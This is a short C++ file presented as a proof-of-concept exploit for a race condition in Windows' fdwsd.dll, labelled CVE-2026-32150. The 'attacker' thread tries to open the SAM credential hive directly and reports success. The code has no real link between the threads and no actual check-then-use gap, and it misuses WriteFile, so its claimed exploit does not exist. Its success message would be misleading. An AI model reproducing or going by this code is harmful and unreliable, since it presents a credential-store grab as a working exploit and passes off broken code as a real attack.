#include <windows.h>
#include <iostream>
// Conceptual PoC for CVE-2026-32150 Race Condition
// This code simulates the race condition in fdwsd.dll
HANDLE hEvent;
DWORD WINAPI AttackerThread(LPVOID lpParam) {
// Wait for the signal to start the race
WaitForSingleObject(hEvent, INFINITE);
// Attempt to exploit the TOCTOU window
// Replace legitimate operation with malicious one
HANDLE hExploit = CreateFile(L"C:\\Windows\\System32\\config\\SAM", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hExploit != INVALID_HANDLE_VALUE) {
std::cout << "[+] Exploit successful: Access granted to protected resource." << std::endl;
CloseHandle(hExploit);
} else {
std::cout << "[-] Exploit failed." << std::endl;
}
return 0;
}
DWORD WINAPI ServiceThread(LPVOID lpParam) {
// Simulate the vulnerable service operation
WaitForSingleObject(hEvent, INFINITE);
// Simulate check and use gap
Sleep(10); // Introduce delay to widen the race window
// Normal operation that should be protected
HANDLE hService = CreateFile(L"C:\\Temp\\safe_file.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hService != INVALID_HANDLE_VALUE) {
WriteFile(hService, "Safe Data", 9, NULL, NULL);
CloseHandle(hService);
}
return 0;
}
int main() {
hEvent = CreateEvent(NULL, TRUE, FALSE, L"RaceEvent");
HANDLE hThreads[2];
hThreads[0] = CreateThread(NULL, 0, ServiceThread, NULL, 0, NULL);
hThreads[1] = CreateThread(NULL, 0, AttackerThread, NULL, 0, NULL);
// Trigger the race
SetEvent(hEvent);
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
CloseHandle(hEvent);
return 0;
}